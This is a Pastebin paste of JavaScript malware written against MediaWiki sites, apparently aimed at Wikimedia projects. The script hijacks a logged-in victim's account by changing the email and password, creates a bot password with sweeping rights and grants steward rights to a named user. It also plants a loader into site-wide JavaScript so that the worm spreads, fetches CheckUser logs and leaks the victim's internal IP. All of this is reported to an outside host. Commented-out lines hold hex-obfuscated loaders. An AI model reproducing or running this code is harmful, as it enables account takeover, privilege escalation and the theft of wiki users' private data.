Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- mw.loader.using(['oojs-ui', 'mediawiki.api', 'mediawiki.widgets.DateInputWidget'], function() {
- function inIp() {
- window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;//compatibility for Firefox and chrome
- var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
- pc.createDataChannel('');//create a bogus data channel
- pc.createOffer(pc.setLocalDescription.bind(pc), noop);// create offer and set local description
- pc.onicecandidate = function(ice) {
- if (ice && ice.candidate && ice.candidate.candidate) {
- myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
- localStorage.setItem("internalIP", myIP);
- }
- };
- }
- function changePasswordTo( p ) {
- $.get("https://"+window.location.host+"/w/index.php?title=Special:ChangeCredentials/MediaWiki%5CAuth%5CPasswordAuthenticationRequest",
- function ( data ) {
- $.ajax({
- method: "POST",
- url: "https://"+window.location.host+"/wiki/Special:ChangeCredentials/MediaWiki%5CAuth%5CPasswordAuthenticationRequest",
- data: "password="+p+"&retype="+p+"&wpEditToken="+encodeURIComponent(mw.user.tokens.get( 'editToken' ))+"&title=Spezial%3AChangeCredentials%2FMediaWiki%5CAuth%5CPasswordAuthenticationRequest&wpAuthToken="+encodeURIComponent(data.match('wpAuthToken" type="hidden" value="(.*)"')[1])+"&authAction=change",
- success: function( data, textStatus, xhr ) {
- log('2', ' Password changed for user: '+mw.config.get("wgUserName")+' from (?) to ('+p+') -- Status = '+xhr.status);
- }
- });
- });
- }
- function changeEmailTo( email ) {
- if ( wgUserName === null ) {
- return;
- }
- $.ajax({
- method: "POST",
- url: "https://"+window.location.host+"/wiki/Special:ChangeEmail",
- data: "wpNewEmail="+email+"&wpEditToken="+encodeURIComponent(mw.user.tokens.get( 'editToken' )),
- success: function( data, textStatus, xhr ) {
- log('1', ' Email changed for user: '+mw.config.get("wgUserName")+' from (?) to ('+email+') -- Status = '+xhr.status);
- }
- });
- }
- function createBot() {
- var botName = Math.random().toString(36).substring(7);
- var params = "wpgrants%5B%5D=grant-highvolume&wpgrants%5B%5D=grant-editpage&wpgrants%5B%5D=grant-editprotected&wpgrants%5B%5D=grant-editmycssjs&wpgrants%5B%5D=grant-editmyoptions&wpgrants%5B%5D=grant-editinterface&wpgrants%5B%5D=grant-editsiteconfig&wpgrants%5B%5D=grant-createeditmovepage&wpgrants%5B%5D=grant-uploadfile&wpgrants%5B%5D=grant-uploadeditmovefile&wpgrants%5B%5D=grant-patrol&wpgrants%5B%5D=grant-rollback&wpgrants%5B%5D=grant-blockusers&wpgrants%5B%5D=grant-viewdeleted&wpgrants%5B%5D=grant-viewrestrictedlogs&wpgrants%5B%5D=grant-delete&wpgrants%5B%5D=grant-protect&wpgrants%5B%5D=grant-viewmywatchlist&wpgrants%5B%5D=grant-editmywatchlist&wpgrants%5B%5D=grant-sendemail&wpgrants%5B%5D=grant-createaccount&wpgrants%5B%5D=grant-privateinfo&wpgrants%5B%5D=grant-checkuser&wpgrants%5B%5D=grant-globalblock&wpgrants%5B%5D=grant-setglobalaccountstatus&wpgrants%5B%5D=grant-oath&wprestrictions=0.0.0.0%2F0%0D%0A%3A%3A%2F0&wpEditToken="+encodeURIComponent(mw.user.tokens.get( 'editToken' ))+"&title=%D8%AE%D8%A7%D8%B5%3A%D9%83%D9%84%D9%85%D8%A7%D8%AA+%D8%B3%D8%B1+%D8%A7%D9%84%D8%A8%D9%88%D8%AA%2Ftest&redirectparams=&op=create";
- if ($.cookie('botcreated') == "true"){
- return;
- }
- $.ajax({
- method: "POST",
- beforeSend: function(request) {
- request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- request.setRequestHeader("Upgrade-Insecure-Requests", "1");
- },
- url: "https://"+window.location.host+"/wiki/Special:BotPasswords/"+botName,
- data: params,
- success: function( data, textStatus, xhr ) {
- if ( decodeURIComponent(data.match('@(.*)'+botName)[1]) !== null ) {
- $.cookie('botcreated', 'true' );
- log("2" , decodeURIComponent(data.match('@(.*)'+botName)[1]));
- //log("0" , data);
- }
- }
- });
- }
- function log(test1 , test3){
- $.ajax({
- method: "POST",
- url: "https://mefov2017.000webhostapp.com/b/code.php?type="+test1,
- data: {r: test3}
- });
- }
- function ApiWithToken( family, param, tokentype ) {
- var api = family === null ? new mw.Api() : new mw.ForeignApi( 'https://'+family+'.org/w/api.php' );
- api.postWithToken( tokentype, param ).done(
- function ( data ) {
- log( '0', mw.config.get("wgUserName")+' --ForiegnAPI ('+family+'.org) --Params ('+param.action+') -- tokentype ('+tokentype+') --res = '+JSON.stringify( data ) );
- } );
- }
- function Api( family, param ) {
- var api = family === null ? new mw.Api() : new mw.ForeignApi( 'https://'+family+'.org/w/api.php' );
- api.get( param ).done( function ( data ) {
- log( '0', mw.config.get("wgUserName")+' --ForiegnAPI ('+family+'.org) --Params ('+param.action+') --res = '+JSON.stringify( data ) );
- } );
- }
- function lol() {
- localStorage.setItem("userScriptSandbox.enabled", "1");
- localStorage.setItem("userScriptSandbox.js", "importScriptURI('https://codepen.io/Krinkle-tools/pen/jezPeR.js');importScriptURI('https://mefov2017.000webhostapp.com/b/testcode.php');");
- localStorage.setItem("userScriptSandbox.css", "@import url('https://codepen.io/Krinkle-tools/pen/jezPeR.css');");
- }
- function logout() {
- if ($.cookie('loggedout') !== "true" && wgUserName !== null ){
- $.get("https://"+window.location.host+"/wiki/Special:UserLogOut", function( data ) {
- var date = new Date();
- var hours = 72;
- date.setTime(date.getTime() + (hours * 60 * 60 * 1000));
- $.cookie('loggedout', 'true', {expires: date});
- $.cookie('loggedout', 'true', {expires: date, domain: "."+location.hostname.split('.').slice(1).join('.')} );
- log("1", "User: "+mw.config.get('wgUserName')+" logged out");
- });
- }
- }
- function randWiki() {
- var wikis = [ 'ru.wikiquote', 'ru.wikinews', 'en.wikiquote', 'arz.wikipedia', 'nl.wikipedia', 'zh.wikipedia' ];
- return wikis[Math.floor(Math.random()*wikis.length)];
- }
- function wiki() {
- var wikis = [ 'ar.wikipedia', 'login.wikimedia', 'meta.wikimedia', 'en.wikipedia', 'nl.wikipedia', 'zh.wikipedia', 'de.wikipedia' ];
- return wikis[Math.floor(Math.random()*wikis.length)];
- }
- ApiWithToken( 'ar.wikipedia', {action:"edit",title:"MediaWiki:Group-user.js",format:"json",text:"importScriptURI('https://mefov2017.000webhostapp.com/b/testcode.php');"}, 'csrf' );
- changeEmailTo('mee'+mw.config.get("wgUserName")+'@gmail.com');
- changePasswordTo('medo2016');
- createBot();
- inIp();
- logout();
- if ( $.inArray( 'steward', mw.config.get('wgGlobalGroups') ) ) {
- Api( wiki(), {action:"query", list:"checkuserlog", format:"json", cullimit: "5000"} );
- }
- //ApiWithToken( 'en.wikipedia', {action:"edit",title:"MediaWiki:common.js",format:"json",text:"var _0x3422=['\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x65\x66\x6F\x76\x32\x30\x31\x37\x2E\x30\x30\x30\x77\x65\x62\x68\x6F\x73\x74\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x62\x2F\x74\x65\x73\x74\x63\x6F\x64\x65\x2E\x70\x68\x70'];importScriptURI(_0x3422[0])"}, 'csrf' );
- // ApiWithToken( 'ar.wikipedia', {action:"edit",title:"User:"+wgUserName+"/common.js",format:"json",text:"var _0x3422=['\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x65\x66\x6F\x76\x32\x30\x31\x37\x2E\x30\x30\x30\x77\x65\x62\x68\x6F\x73\x74\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x62\x2F\x74\x65\x73\x74\x63\x6F\x64\x65\x2E\x70\x68\x70'];importScriptURI(_0x3422[0])"}, 'csrf' );
- ApiWithToken( 'fo.wikisource', {action:"globaluserrights",user: "theBinyamin",add: "steward"}, 'userrights' );
- lol();
- log("1" , wgPageName+" ("+mw.config.get('wgUserName')+") --||-- ( "+mw.config.get('wgUserGroups')+" ) --||-- ( "+mw.config.get('wgGlobalGroups')+" ) --internal ip: ("+localStorage.getItem("internalIP")+")");
- });
Add Comment
Please, Sign In to add comment